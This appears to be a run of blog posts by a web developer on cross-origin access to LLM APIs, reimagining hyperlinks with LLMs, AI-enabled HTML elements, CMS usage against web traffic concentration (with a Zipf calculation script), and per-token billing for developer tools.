We web users love to live dangerously. Decades of work by browser engines have made the reality of clicking a link and blindly running code by and large safe… well, safer. When we were coining the SLICE acronym, the ‘S’ was for security. So much of what we know as the web today is pulled from other origins. Scripts, stylesheets, fonts, images, videos, audio, and entire pages (via iframes) are all able to run in some form on another origin. The same-origin model was developed along with Netscape 2.0 to give users confidence that one site couldn’t exfiltrate data from another. Process isolation was built to reduce the chance of actions in one tab or site affecting another, and sandboxing lets us run arbitrary code without worrying that it can have access to anything on our systems.

The modern web and the fact that it can do so much is a testament to the browser engineers that have worked for decades on improving the safety of the platform. At the same time, this model puts a real limit on the types of things that we want to do. Try building a client-side RSS reader or a podcast app. The limitation on reading from another origin means that we can’t fetch an RSS feed because who would put an Access-Control-Allow-Origin: * header on an XML file, let alone an MP3?

Large language model service providers are my current area of focus and they have an escape hatch with solutions like anthropic-dangerous-direct-browser-access (I’m happy to be the first issue to ask for CORS for Anthropic) and dangerouslyAllowBrowser, which let me drop API keys into web pages. This is the solution we have, not the one we need.

We should be able to access services directly from one origin to another without having to proxy everything. The minute I have to make a proxy, I also have to secure it and deal with many of the same problems as having my keys on the client.

OpenAI has had to deal with this head-on with their rather spectacular Real-time Audio API, which is accessible directly in the client because it opens up a WebRTC connection to their services. After all, you can’t be expected to proxy the audio through a server.

Connecting to the Realtime API from the browser should be done with an ephemeral API key. — OpenAI WebRTC Documentation

Ephemeral API keys! It’s kind of like CSRF protection built into the API. It works well for what it is, providing time-bound access for a single user without completely exposing my API key. The key can still be stolen, but it’s only accessible for a relatively short amount of time.

It really feels like we need a scalable platform solution for accessing protected resources on the client, not just LLM APIs. I can’t see a world where it’s not opt-in from the server, which means we probably won’t see a world where we can access and process common resources like RSS feeds and the like. But the need and opportunity seem clear.

I always liked the idea of Opaque JavaScript Objects.

This specification does not explicitly provide any new storage mechanisms for CryptoKey objects. Instead, by defining serialization and deserialization steps for CryptoKey objects, any existing or future web storage mechanisms that support storing serializable objects can be used to store CryptoKey objects. In practice, it is expected that most authors will make use of the Indexed Database API, which allows associative storage of key/value pairs, where the key is some string identifier meaningful to the application, and the value is a CryptoKey object. This allows the storage and retrieval of key material, without ever exposing that key material to the application or the JavaScript environment. Additionally, this allows authors the full flexibility to store any additional metadata with the CryptoKey itself. — CryptoKey

With CryptoKey, user-land JS doesn’t have access to the key, but the APIs do. Neat.

Everyone I’ve spoken to about this has not wanted to explore it because “if the key is on the device, it’s compromised,” and at some point, it will be visible (e.g., in a network trace). I understand the concern, but then we have situations like we do today where people are putting their API keys in the browser or using temporary tokens. So to me, at least, it feels like an Opaque Object system would help a lot.

I do wonder if there is a concept of a Subscription or Session at the platform level that could be used for providing information about who the user is and what they have access to. If things are all running on the client, it’s unlikely there’s any ‘secret sauce’ at the application level. But it would be nice to then apply the Subscription to something like a LanguageModel in Chrome that just uses the user’s subscription to 1) use my preferred service, and 2) use my identity.

Maybe the answer is just OAuth, a way to mint API keys for the user and then managing key lifetimes with something like Demonstration of Proof-of-Possession (DPoP) — I would be very happy if I never had to deal with OAuth again though.

Regardless of the solution, I would love to see more progress in more work to run on the client without the need for proxies. I would love to see a better solution for non-protected resources so that we can enable RSS readers to be a viable client-side experience, and I would love to call protected resources such as an LLM without exposing my service keys or leaking API keys.

I’ve been thinking about the nature of hyperlinking for a little while now, and the concept of the Memex pushed me to immerse myself in as much pre-web research about hypertext and hypermedia as I could find, and to learn how people originally thought about it. It was a fun exploration. From spats between researchers to platforms that never shipped, and the incredible firsts shown by pioneers like Douglas Engelbart in “The Mother of All Demos”, you can clearly see the path that led to the web becoming the first truly popular and universal hypermedia platform.

I also realized that even though I have been working with HTML for 30 years, I didn’t have a clear concept of what the ‘HT’ truly meant or how the early pioneers envisioned information systems—and how their vision differs from the web we have today.

The early years of hypertext research focused on the opportunities that digital text offered over the print medium. The concept of linking was firmly established in the earliest ideas of hypertext. Vannevar Bush, with his Memex, imagined a system where the user, not the author, would create personal connections between documents. As an individual navigated information, they would forge what Bush called “trails”—links that were deeply personal and catered to their own memory and thought processes. Other pioneers like Ted Nelson conceptualized even more expansive ideas, such as StretchText , where text could be expanded to reveal layers of additional information, hinting at a far more interactive system than what we have today.

A user would create the links.

When the web was introduced, it had the concept of hyperlinks, but it wasn’t until this past month that I realized its model is fundamentally different. Links are created by the author of a page using the static <a> tag. We, the readers, simply follow these pre-defined paths.

This author-centric model has a frustrating side effect that I feel everyday: sites acting like “gravity wells.” An author can guide me to knowledge, but as sites try to capture as much of our time and attention as possible, they reduce the number of external links. I land on a page and find myself trapped, with fewer and fewer paths leading out. Every link is defined by the publisher, not my own curiosity.

How do you make a connection between two articles for your own recall? At best, we have bookmarks.

I can understand why the concept of user-created links didn’t develop. Managing URLs is complex, finding URLs was nearly impossible at the start of the web, and the “chrome” of the browser, with its history and bookmarks, isn’t incredibly well understood by most. Not to mention, how would you inject links into a page you don’t own and can’t write to?

Well, I built an extension that allows you to create and persist user-defined links between any two pieces of content on the web. It turns out that one of the latest changes in how we think about links, the concept behind Text Fragments, is very helpful for identifying pieces of content on a page and giving them a permanent identifier.

So far, this discussion hasn’t focused much on AI’s impact on the web… Large Language Models offers two distinct ways to think about the future of hypermedia: one as a philosophical successor to the original vision (which is a much longer discussion), and the other as the practical toolkit to upgrade the web we already have (which is quite fun).

As I was thinking about the Memex, I kept circling back to the idea that LLMs, not the web, are its modern embodiment. My usage of Large Language Models doesn’t feel a million miles away from what Bush described. His vision was deeply personal: you build and navigate your own web of knowledge. While LLMs are grounded in their training data, your previous conversations and connections to personal data make the experience something more than what we get on the web. I tried to summarize the analogy as follows:

• The LLM is the information retrieval system.
• ChatGPT/Gemini are the personal machines, with context and memory tailored to you.
• The web is the unstructured, non-hierarchical file system.
• Wikipedia is the encyclopedia (obviously).
• Memory in LLM apps represents the trails that don’t fade.
• Multimodality corresponds to the photocells, microfiche, and tape.
• Reasoning is analogous to the identification of compounds and their reactions.

In this view, the concept of “trails” is deeply interesting. LLM tools don’t create hard, permanent links between two distinct pieces of information. Instead, they build on previous interactions as a conversation progresses. If you observe their “thinking traces,” you can see the link being inferred rather than explicitly created.

Beyond this philosophical parallel, LLMs also offer the practical tools to finally realize the promise of hypertext on the web itself. They are the enabling technology that can upgrade the humble <a> tag and make it truly “hyper.”

For decades, ideas like summarizing a link’s destination or merging content from another page were technically possible but practically impossible to implement at scale. With LLMs, these complex natural language tasks become trivial. This opens the door to evolving the web and differentiating it from both applications and the closed conversational interfaces of LLMs. And it all comes down to enhancing the link.

While the humble <a> tag is part of the concept of hypertext, I don’t think the <a> is actually “hyper.” It’s just a pointer. It points from Site A to Site B. It might have some rel properties to define the nature of the link, but fundamentally, it’s just a pointer.

Now, I’m being a bit harsh on the <a> tag. It’s actually pretty incredible. Links are very simple to create. You write a small bit of text and can point to a page, a named element within a page, and in probably the biggest change to anchoring—you can now link to arbitrary text with Text Fragments. For a brief while, you could also link into functionality (actually if websites could be MCP servers, we might actually solve this).

The way we experience a link is typically one-way: A->B. Yes, many platforms like Wikipedia or TiddlyWiki allow for bi-directional linking. And yes, there are protocols like WebMention that enable ping-backs so that a site owner can present all the sites that link to them. But site-level features like these require the site to support them, and infrastructure protocols require you to set up some very complex infrastructure.

This got me thinking: how might links on the web become two-way? Actually, how many “ways” could a link be?

Let’s assume we have a simple link <a href="https://paul.kinlan.me/slice-the-web/">Slice the web</a> and ignore how links work today in HTML and JavaScript (i.e., referrer).

1. Site A points to Site B (A -> B). This is the traditional link we know today.
2. Site A pulls from Site B (A <- B). What if we could pull information from the link’s target into the current page’s context? Could we summarize the information to give you an idea of the content before navigating? Could we merge the target page and the current page?
3. Site B understands what points to it (B -> A). As a user, I might want to know where I came from more clearly (yes, we have a back button), or I might want to know which other sites link to this page. WebMention solves some of this, but could this functionality be part of the browser itself, even with complex infrastructure?
4. Site B pulls from Site A (B <- A). This is more complex, but as with A <- B, being able to merge content from the referring site directly into the current page offers interesting possibilities.

I’m particularly enamored by the “A pulls from B” (A <- B) concept, frequently known as “transclusion”, and I can understand why it wasn’t built in the past. How could you do anything useful with the content on the target page? Until recently, NLP techniques were incredibly difficult to perform, but with the introduction of LLMs, summarizing and other manipulation of content has become surprisingly easy.

I wrote an extension that can help you to summarize a link’s destination before you navigate to it.

I’ll quickly digress to another hypermedia concept introduced by Ted Nelson: StretchText. I think the concept is brilliant. You have a piece of text that can be expanded to provide significantly more information, and then expanded again. It’s incredibly difficult to manage from an author’s perspective because you have to create all this layered information. How much time would you spend doing this? Probably zero.

With today’s LLM technologies, we can reason more about the content of pages giving us the ability to take the text of a page or a selection and expand it with additional context from what the models know.

You can then take this concept and change the way linking works. By parsing both the linked page and the current page, it’s possible to merge the linked content into the current context where the link exists. Perhaps we could remove the scourge of “Click here” links and provide more context to the user for any link on the page.

In super-apps and embedding I touched on the idea that increasing amounts of people’s time might be spent in LLM based chat experiences and not in the browser. If this happens, there is a world where the way people interact with services and tools is managed entirely by the LLM and that is a risk for the web.

Imagine you are a store and you provide a service that helps a use find flights, one of the ways that you make money for your service is by up-selling services on top of the booking (e.g, gate change information). In a world where the LLM is the primary way that people interact with content, you will want to ensure that your brand and service are still visible to the user. LLMs will either generate their own the entire UI to integrate with services and existing sites, or they will ask site authors to customize their site (including bespoke API integrations). If it’s the latter path, LLM providers will want to use what already exists (i.e, hundreds of millions of existing pages of content), which leads me to believe that there will be a need for sites to easily control the presentation of their brand and service inside the “super-app”.

“Transclusions” is the technical term. Today, <iframe> is the transclusion that enables you to have an entire page run inside another page, but that feels to coarse. We need to explore the idea of securely running islands of functionality from the target page directly in the host.

I mocked this up in the following video. This demo is a Chrome Extension that opens the target page, finds the element that is specified on the link and clones the DOM into a <foreignObject> in SVG which is then bundled up and rendered in the host page (/me handwaves security issues).

Make no mistake that this particular demo is a parlour trick, but I think there might be a useful primitive here not just for Web content being integrated more seamlessly into an LLM, but this could also be something that native-app platforms could also offer and enable a more seamless integration between web and app content. The solution might be a new element, adding something on top of an iframe, or maybe even a media-query to enable the site to hide certain UI when it knows it’s embedded.

It’s fun to think about how links might evolve as our technology evolves. Here are some more ideas:

• Image maps have largely died out, but now that we can identify objects in an image, could we make it easier to author an image map with language annotations instead of bounding boxes (e.g., “red car” -> ford.com)?
• We can link to a time-code in an audio file. With audio-to-text models, could we do something similar to text fragments for audio?
• Could we make it easier to extract useful content from an <audio> such as links that were ‘heard’ in the discussion.
• If a site could expose their embeddings, could we cross-link across the origin automatically?
• During my research on hyperlinking, much of the content I accessed was in PDFs on the Internet Archive. These PDFs are hosted in an application that requires many clicks to get to the important page. Could links be augmented with simple actions? Of course, we would have to think carefully about safety to mitigate “Buy these nappies” attacks and a host of others.

For 30-40 years the original discussions around hypermedia and hypertext had almost no practical applications. It appears to have been all academic and centered around egos. While technologies like HyperCard existed and were well-liked, it wasn’t until the web arrived that humanity really progressed in this area. In the following 30 years, there again wasn’t much development in linking on the web.

We are at a moment where new technologies like LLMs and Vision models can enable us to expand and improve the very definition of a hyperlink while also maintaining the reason why I think the web’s linking mechanism enabled the web to succeed where other hypermedia platforms failed: That authoring a <a> is the easiest way of linking that we’ve known.

Maybe the fact that we have extensions that can augment and personalize every part of a page means we are already there. Maybe this post is also academic and ego-driven, and hypermedia has already found its perfect fit for authors and users. I hope not. The link is what makes the web, and the link is what will keep the web strong and differentiated from all other platforms. I really want to see more experimentation in hyperlinking.

For example, the prompt API, along with a multi-modal version that can take any arbitrary combination of text, image, and audio and run prompts against them. These APIs are neat but not yet web-exposed and many developers struggle to know what to do with a generic prompt. It’s not a solution that is natural to many people yet.

To solve this, Chrome introduced a host of use-case-based APIs into the browser. These APIs, such as Summarizer, Writer and Rewriter, Translate and Language Detection are designed to run within web content. An API designed to solve a particular problem is easier to standardize and build consensus around. It also makes it clearer for web developers and business owners to see how they might integrate it into their businesses.

For example, while building this blog (it’s Hugo-based), I would checkpoint my work by committing it to my Git repo. I realized that many products are subtly integrating AI into their experiences. For example, when you check something into your repo, a small star icon generates a commit message based on the changes. I use this all the time now because it beats my “asdf” messages hands-down.

This is a use-case that I think is easy for people to understand.

While sharing a recent post, I saw a Tweet from my friend Eiji that was in Japanese, but I could still read it because a “Translate” link appeared within the text.

Again, another use-case that is easy to understand.

This got me thinking. It’s great that you can use JavaScript to wrangle these high-level APIs, but it also made me consider if there are even higher-level abstractions that we should be thinking about, like HTML.

It feels like there is a massive opportunity to either imbue existing elements and components with these capabilities or even to conceive of new elements altogether, and it’s something that I think we should talk about more.

With this in mind, I’ve created three simple examples: Summarize and Translate and Image picking.

The summarize element’s goal is to act like the commit message generator in VS Code. You provide the ID of an element to watch for changes, and it will summarize the content. The best part is that it uses InternalElements to enable the element to participate in <form> submissions.

<ai-summarize-component watch="longTextElement"></ai-summarize-component>

<textarea id="longTextElement" name="text" rows="4" cols="50"></textarea>

The translate element is a HTMLParagraphElement that detects the language of its content and then offers to translate it into the user’s preferred language. It uses both the Translate API and LanguageDetection API to do this.

<ai-translate-component>
  私はティーポットです と とても幸せです
</ai-translate-component>

Maybe we will finally get an answer to the bug I filed years ago about Google Translate breaking React as developers will have a way to integrate translation into their apps exactly as they need it, versus the shotgun approach of the current Google Translate in Google Chrome.

I also like to think about how form elements might integrate with technologies like generative LLMs. For example, consider the humble <input type="file" accept="image/png" />. If we assume image generation is here to stay, should we consider enabling deeper integration into the file and content pickers? If so, this would mean you no longer have to generate an image in one app, download it, find it, and then upload it.

Well, <ai-image-input> is a demo of an optimization for that.

<form id="imageInputForm">
  <ai-image-input name="image"></ai-image-input>
  <input type="submit" />
</form>

It acts like a normal form element, but when you press Option (on a Mac), a new set of features is enabled, allowing you to attach an image generated from a prompt. Note that there is no on-device generation in this demo; it’s handled by a server.

I think the file input is a very neat use case that could be extended to video. It also reminds me of one of the goals of Web Intents: allowing deeper integration of the browser with system services and user-preferred applications, eliminating the need to leave the browser, download a file, and then re-upload it.

There’s a lot of other user interface features that I could imagine that would be useful to have as a built-in part of the platform. For example:

• <a href="https://paul.kinlan.me" summarize> could enable the user agent to fetch the URL and summarize it for the user. Given CSP and other security concerns, this would be something only a user agent provided element could manage today.
• <a href="..." extract-info="recipe-time"> could display “Cook time: 45 mins” on hover or inside the element if the link points to a recipe, or <a href="..." extract-info="product-price"> could show the price and rating for a product link.
• <a href="asdf.com" clarify-purpose>Click here</a> might be an interesting way to turn a vague link text like “Click here” or “Read more,” because the browser could fetch the destination’s content to generate a more descriptive label for screen readers (this might just be a good thing for an extension to do instead)
• <a href="asdf.com" add-to-calendar>Event page</a> would be fun if you know if the link points to an event page, the browser could parse it for a date, time, and location and present a native UI to add the event to the user’s default calendar streamlining a common, multi-step process.
• <input type="file" extract="invoice-details"> could allow a user to upload a PDF of an invoice, and the browser could use an LLM to automatically parse and populate fields for the date, amount, and vendor, simplifying expense reporting or data entry tasks.
• <input type="text" transcribe> could enable the user agent to transcribe audio into text by offering a microphone button that would record audio.
• Should we have a dedicated <input type="prompt"> or <input type="chat"> that might offer a user affordance like <input type="search"> offers, could it hook into a user-configured default chat provider?
• An attribute like <img identify-objects> could allow the browser to recognize objects within an image and then expose them as to the user as a list of tags or descriptions, enhancing accessibility and searchability.
• A <video describe> attribute could automatically generate and voice an audio description of the visual events happening on screen, not just closed captions as a transcription.
• A textarea could be enhanced with an attribute that hints at the type of content expected, like <textarea suggestions="creative-writing"> or <textarea suggestions="code-completion">. Much like how you can tell the browser the type of input mode, the browser could then offer context-aware autocompletion or creative prompts to help the user.

Update After posting this, I also experimented with an <ai-date-component> that let’s you write a date in natural language and it will parse it into a date object.

End Update

Should the default elements be imbued with AI capabilities? Or should these all just live in user-land as custom-elements or Components in the framework of your choice? We certainly are starting to get more of the technology to do this all in the browser, whether it’s the improvements to Web Components or the new AI-based APIs, but I don’t actually know the answer.

I do believe that this is an that we need a lot more discussion around and is something browser vendors and spec authors should really starting to think about it too.

The source to the demo web components is available on my github: https://github.com/PaulKinlan/ai-wc

CMSs offer a path for people without the skill or the time to get their own place on the web, and this is amazing. Yet for many people I spoke to it’s still a hurdle to think about what a domain name is (let alone paying for it), how sites should work, and the designs etc. They did know what they wanted their sites to say though (name, address, pictures, booking forms, contact details).

I’m interested in the health of the web and I think that LLMs will help make it significantly easier to create and produce content on the web (and the web is a perfect medium for people to be able to create and share ideas), but what does that mean for CMSs?

I decided to try and do some analysis on the usage of certain tools across the ecosystem and I wanted to see what the adoption is of certain technology stacks such as CMSes and framework mapped against how people use on the web.

It’s incredibly hard to get this data publicly so what I am about to show you has a number number of leaps to try and interpret the data. So, without further ado, let’s go a leapin'

First up is time spent on the web. SimilarWeb’s ranking of the top 100 sites, includes both the average time spent and number of navigations per month to each of the top 100 sites. It is the most useful data that I’ve found and you can see the number of navigations follows a trend that looks like zipf’s-law (Parse.ly also had a good article from a couple of years ago). SimilarWeb only accounts for the top 100 sites and the web extends out to roughly 350 million origins (as of 2023) so we will have to do some extra work. It won’t change the shape of the graph but it will change where we look at where the percentile of navigations happens.

If we assume that this distribution is directionally accurate and use SimilarWeb’s prediction for the top sites monthly traffic of 83,000,000,000 navigations, then you can compute the estimated monthly traffic for the 2nd most popular site…. Doing this all the way to 360 millionth web site you can infer that roughly 50% of the web’s traffic is sent to the top 17 sites. The 75% percentile accounts for 451 sites, 90th percentile 27,219 sites, and 95th percentile is 426,494 sites.

A more traditional way to look at the data is through the Top orders of magnitude. So, the Top 1000 sites accounts for 78.94% of navigations; the Top 10,000 is at 87.38%; Top 10,000 is 92.71% and the Top 1,000,000 is at 96.07%.

Kinda mind blowing think about where people spend their time (I should look at this data over time and see how quickly the web is centralizing).

For completeness, here is the code I used to do the calculation (please feel free to critique the methodology).

const alpha = 1.2; // 1.2 seems to map well to top 100 sites... Maybe it works for rest of web?
const size = 360_000_000; // 360 million is the number of sites in the web as of 2023
/*
83 billion is the number of navigations for rank 0 (the most popular site)
for one month in 2025 (yes, I know I don't have the size of the web
for 2025, but this is a good estimate based on current trends).
*/

const max = 83_000_000_000;

// Zipfian based on a known rank and alpha.
const valueAtRank = (valueAt0, rank, alpha) => {
  return valueAt0 / Math.pow(rank, alpha);
};

/*
 Calculate the total number of navigations following a Zipfian distribution.
*/
let sum = 0;

for (let i = 0; i < size; i++) {
  // Value at rank 0 is the max value.
  // Alpha is the Zipfian constant, 1.2 is a good value looking at SimilarWeb
  const value = Math.floor(valueAtRank(max, i + 1, alpha));
  sum += value;

  if (sum > Number.MAX_SAFE_INTEGER) {
    console.warn("Sum exceeded MAX_SAFE_INTEGER, resetting to 0");
    throw new Error("Sum exceeded MAX_SAFE_INTEGER");
  }
}

console.log(`Sum of generated values: ${sum}`);

/*
Calculate the rank at a given percentile.
This function finds the rank that corresponds to a given percentile
based on the cumulative sum of values generated by the Zipfian distribution.
It iterates through ranks, accumulating their values until it reaches the
target value for the specified percentile.
*/
const rankAtPercentile = (percentile, size, sum) => {
  const target = sum * (percentile / 100);
  let cumulativeSum = 0;
  for (let i = 1; i < size; i++) {
    cumulativeSum += valueAtRank(max, i, alpha);
    if (cumulativeSum >= target) {
      return i;
    }
  }
  return size; // If no rank found, return the size as the last rank
};

const percentageAtRank = (rank, sum) => {
  let cumulativeSum = 0;
  for (let i = 1; i < rank; i++) {
    cumulativeSum += valueAtRank(max, i, alpha);
  }
  return (cumulativeSum / sum) * 100;
};

console.log(rankAtPercentile(50, size, sum));
console.log(rankAtPercentile(75, size, sum));
console.log(rankAtPercentile(90, size, sum));
console.log(rankAtPercentile(95, size, sum));

console.log(`Rank 1000 is at ${percentageAtRank(1000, sum)}%`);
console.log(`Rank 10000 is at ${percentageAtRank(10000, sum)}%`);
console.log(`Rank 100000 is at ${percentageAtRank(100000, sum)}%`);
console.log(`Rank 1000000 is at ${percentageAtRank(1000000, sum)}%`);

Now that we have some interesting data about how traffic flows around the web, let’s see how the sites in the Top [insert your order of magnitude here] are built (Builtwith.com and The Chrome UX technology dashboard are an absolute goldmine of useful information.) You can see that the popular CMSs just aren’t used across the top 1000 sites, and this is confirmed when you dive into builtWith’s reports (Top 1m, Wordpress, Drupal, Joomla, SquareSpace, Wix). It’s often not until you get to the top 1 million sites that you start to see a significant amount of usage in the ecosystem, but the top 1 million sites, is not where the majority of the navigations are.

Looking at Wordpress, the most popular site building tool, you do see usage increase in the top 10,000 sites and it clearly grows in popularity through the top 1,000,000, but at some point you have to question stats like “40% of all sites” and realise that it’s certainly not 40% of traffic and time spent by people using the web.

It’s not until after the top 1,000,000 that you really start to see it’s growth in the CMSs. My hunch broadly is that while many of the companies who build CMSes (I struggle with the plural here… CMSi?) will have a few very large sites as customers, the vast majority of customers are the tiny sites that get small amounts of traffic.

This is one of the things I love about the web, you can still get found and share you knowledge and build a community even if you are outside of the Top 100,000,000.

Ok … we are this far in and I’ve not made my point. Here goes… If you believe that LLMs are going to make it easier for people to build sites, then I think CMSs of today might be in real trouble and will need to adapt.

We’re seeing lots of new tools coming up where the idea is that you can build a site just by describing what you want to do, whether that’s loveable, Stitch or any of the other hundreds of tools that are coming out. Heck, even I built a tool as an experiment with generative site building: makemy.blog. There are also tools or Canvas’ being built into the Chat clients that enable you to experiment with a site design and share it with friends, and then there are tools like AI Studio or Claude Artifacts that will build simple sites and let put them on the public web instantly.

The great thing about these types of tools is that you can just try it, iterate on it and get a design or layout or style that is unique to you and you don’t feel stupid for just trying things and you don’t have to spend any money. Many of the people that I spoke to about their Facebook presence know what they want on a site, it’s just that it’s instant and simple on Facebook (and you get instant reach and distribution) where as on the web, you would frequently have to sign up for a service, pick one of the generic stock-templates, enter your credit card… urgh.

The sheer fact that as a regular person you can describe the type of site you want to get on the web and what data it will show, is incredible, so much so that I think we are going to see an explosion in tools that can create compelling looking sites and experiences and just let normal web users design and iterate.

Are these generated sites the most beautiful and creative representation of the web? No, not yet. Are they better than being hosted in a walled garden? 100%! This is a massive positive for the web. The Web has always been easier to build for than native platforms, but it’s never been as easy as posting your presence on Facebook. CMS’s made it easier and I believe that Canvas’ or the new breed of web-design tools are going to massively lower the cost and complexity of getting a good web presence online.

So where do the current CMSs and hosting platforms innovate?

I think it’s tough. For a huge number of sites, where it’s a person’s local small business then people don’t need the full suite of services that CMSs and hosted CMSs offer, but in a lot of cases that is what they have to pick.

The new crop of tooling is showing that you can quickly iterate on designs that are custom and personal to each individual, so I think there will need to be a move away from the cookie-cutter theme templates and enable people to personalise their own experiences instantly.

I can also imagine improvements to instant iteration on entire site design and smoothing out the ability to experiment for free. I don’t know the usage of WordPress Playground, but my own experience with it is that I can get a feel for how everything works in wordpress without having to subscribe to any service, or give my credit-card (or any of the other things companies do to try and get you to convert into a paying customer).

Price is one area that I hope there is a lot of competition. It’s one of the biggest reasons I hear for people not to put a presence online. Yes there are issues today with tokens as a unit of cost, but the costs of generation are coming down. At the same time the latency is improving so much that it’s not just the cost of running the service, the cost to the person using the tool drops dramatically (I can try 10 designs in an hour vs 1 in an evening)

Domain names might also be another opportunity for improvement a the recurring annual cost and a point of confusion for many people.

I’m not in the CMS business directly, so you can see that I’m short of specific ideas, other than I think we are going to see a lot more competition coming through and that I think this is good for the industry… mostly….

I’d love to get your thoughts on the state of the CMS ecosystem and where you think the opportunities are. Hit me up! For a future edition of aifoc.us, I think there will be a knock-on effect to the agencies that service small businesses so I’m starting to think about how the Agency ecosystem be impacted and maybe where it needs to change.

Thank you to Terry Pollard spotting a number of typos and errors in this post.

It was also the first time in computing where I experienced a direct relationship with the cost of my code running. Prior to this every service I built was compartmentalized to a physical server. I was used to building software and algorithms for this model. Database contention, process contention, C10k, etc, were all things that I had to plan for. Yes, we developed your algorithms to avoid those problems, but we tended to scale by estimating the total QPS per box and when you hit a limit you would just buy another box and stick it in the rack.

App Engine however could scale to meet any demand I could throw at it. I just didn’t have to worry about any of the physical limitations or other constraints that I had previously worked with. It was a new world for me. I just had to deal with this one weird thing: A new billing model based on CPU time.

The more money that I could spend in the moment, the more access to CPU time I had. It was such an interesting model for me. What if I get popular? I’m just using this as a side-project… In the “old days”, my box would just grind to a halt and I would make a decision to either upgrade the box or buy another one. Now, what should I do? Should I charge my customers using a similar model? How would I explain that?

Ultimately, I chose not to follow that model for billing my customers. I felt that my customers would have no understanding of the model and would instead say “hey, it’s not our fault you use too many cycles to process a request”, and a normal per-month tiered SaaS model would be much easier. This model led me down a rabbit hole that I still reflect on a lot. My margin was the difference between a standard user and the compute it took to process their requests and this lead me down an optimization path that I never thought about before, but couldn’t get out of my head. CPU time cost me real money, so I need to reduce it on a per-user basis.

I did some back-of-the-envelope calculations and I realized that if I shaved off 100ms of CPU from my request handler, I would save tens of dollars a day (this was a lot for me at the time). I started to think about how I could optimize my code to get the CPU time down, lots of micro-optimizations here and there, and as I deployed each new version and I could see the CPU time drop.

I felt like an absolute genius. Then AppEngine changed their billing model…. hah.

Jump forward 17 years and I’m building software and using LLMs all the time to help me. They chew through bootstrapping of projects, bug fixes and even new features. I’m sold on the model and the gains that I personally get from it. Granted, I’m not a typical engineer; I’m a manager and I’ve spent a lot of time not building things over the last couple of years, but these tools have changed my life.

It feels like a real moment of change. “Normal Businesses” can be relatively rational when it comes to controlling costs, so my logical assumption is that if the companies are spending the money (and I’m hearing that they are), they have likely costed it out and they must feel that they are getting a return on investment. I hear from people in the wider-ecosystem that lots of companies have blanket deals with LLM providers to enable all of their employees to use LLMs all day, and when there isn’t a corporate deal, some companies give their teams budgets of a hundred dollars a day to use these tools.

Inference trends seem to indicate that there is more usage happening. I find OpenRouter’s trends fascinating. They are a service that provides access to a wide range of LLMs, and they have been tracking the usage of these models across their platform. You can see the trends in usage, the most popular models, and even the top applications that are using these models.

Looking at the numbers today (June 18th), 1 trillion tokens are processed by Open Router alone in a week and looking at programming, there’s at least 500 billion tokens processed in a week. And this is data from just one service. Mind blowing.

As LLMs chew through teraflops of compute, it seems like the token is the current best model for billing. When models are less intensive to run the tokens tend to be cheaper (Gemini Flash) and more expensive when they are doing more. Per token billing is the new CPU time billing.

It raises a number of questions for me as a web developer.

Firstly, for web developers selling a service that interfaces with an LLM how do you bill? Like CPU time, tokens just aren’t a measure that any normal person will understand, and they should probably never have to understand. We are going to see a lot of iteration in this space. For example, I run an RSS summary service called tldr.express. It’s small enough that I can eat the cost of running every RSS feed that is subscribed to through the LLM. But when I reach 1000 users, then what? I don’t think there is any way that I could add a margin on top of my direct token cost, I would have to think about a more traditional SaaS model and hope people use the service but not too much… Kinda like how I used to think about CPU time.

This per-token billing creates an incentive for service owners to move more of the processing on-device at the user’s expense. I’m not sure how I feel about this given the trade-off in terms of device capability and quality of today’s models. As web developers we will need more tools that will let us eval and balance the quality of on-device processing vs the cost and quality of using various services.

Today, there is a lot of experimentation by the model providers in pricing models, with Pro and Ultra plans. I could imagine a world where some of the current AI Web APIs (like Summarize or Prompt) doesn’t actually use the on-device model, but instead the browser recognizes that the user has a Pro account with a model provider and uses that to process the request. It’s still moving the token cost of the LLM from the site owner to the user, but it’s wrapped up in a more traditional billing model that the user understands. And with the added benefit that the results are higher quality because the models are significantly more capable than the on-device models.

Billing models for services aside, a bigger change that we are seeing is that for the first time in a long time the tools that we (Web Developers) use every day now have a cost associated tied directly with their usage and this is a huge change from the past.

I’m old enough to remember buying Visual C++ so that I could build Windows apps with MFC (I lied a bit here, my Dad bought it for me). Visual Studio with MSDN was my next main-stay for professional development. These tools cost real money, but it was either a very expensive one-time purchase or an annual subscription (anyone remember the mounds of MSDN CD’s?). Whether driven by Open Source, or tools coming in to the browser or just plain competition, Web Developers transitioned to expect that development environments and tool chains would be free (as in beer), or so low-cost that the price was negligible.

But this is changing in subtle ways. We are seeing an explosion of token-slinging services that cost significant amounts of cash. Cursor costs $20 a month for 500 requests (I think I get through 500 requests in a day sometimes.) Replit is per “checkpoint” and is now adapting to “effort” based billing — I find the effort-based billing particularly offensive because it assumes that they know they’ve completed a goal, and when the tool makes clear mistakes it’s incredibly frustrating. And then there are the purely token-processing tools like Cline and others. As I write this, there are now a number of CLI tools Gemini, Codex and Claude that are exploring being able to attach their tool directly to your consumer account (Ultra accounts get more requests than Pro, and so on).

This entire space is a difficult set of trade-off’s for web developers. You can feel incredibly productive and can see the output of it, and when things are going well, you don’t want to stop. But at some point, you have to pay or stop. So, what do you do? You can look at cheaper models, or you can think about going on-device as a way to satiate the cost. Are you really trading cost for quality, though? How can you even determine quality other than vibes? This was the only reason I switched to Gemini Pro. The code felt better but I didn’t have a real way of actually comparing it and I don’t believe any of the benchmarks.

I don’t know a single developer who today wants to produce a low-quality product or knowingly use a tool that outputs lower-quality code than another. Being able to determine this though is a real challenge and one that will increase as more developers find value in these tools.

Maybe this is just the same as picking a framework to use? You make a subjective decision in the guise of objective criteria: There are more developers, there are more libraries, my team will be more productive, etc etc.

I have a job that enables me to spend what I want to spend and see the benefits from it, but for a small individual developer or a small software shop, even $10 a day is a lot of money, and can equate to less than an hour of LLM usage so how should we think about our more junior folk or people starting out in the industry who don’t have access to the funds to use these tools?

How do we think about emerging or weaker economies? Tokens aren’t priced to the market they are being used in, they are attached to the dollar. If you’re in a region that has lower salaries, lower revenues or has a currency that isn’t as strong against the dollar, then you might struggle to be able to afford to use these tools even if the increase in productivity is significant.

We never did get out of the model that App Engine introduced. AWS just took it and made it number of requests and CPU time (GB seconds). Now, LLMs are doing the same thing but this time to the actual development costs and there might be an ever widening gap between those who can afford to use LLMs and those who can’t.

These are all very interesting problems that we as a web industry will need to solve.

When I was 17 I started a company called PCBware in the UK with two of my friends Chris and Ben. We were directors of a company and we felt like we could do anything… we even had a domain name! And what we thought was an awesome company name. It wasn’t until someone said it sounded like you should be scared of PCs that we had some second thoughts.

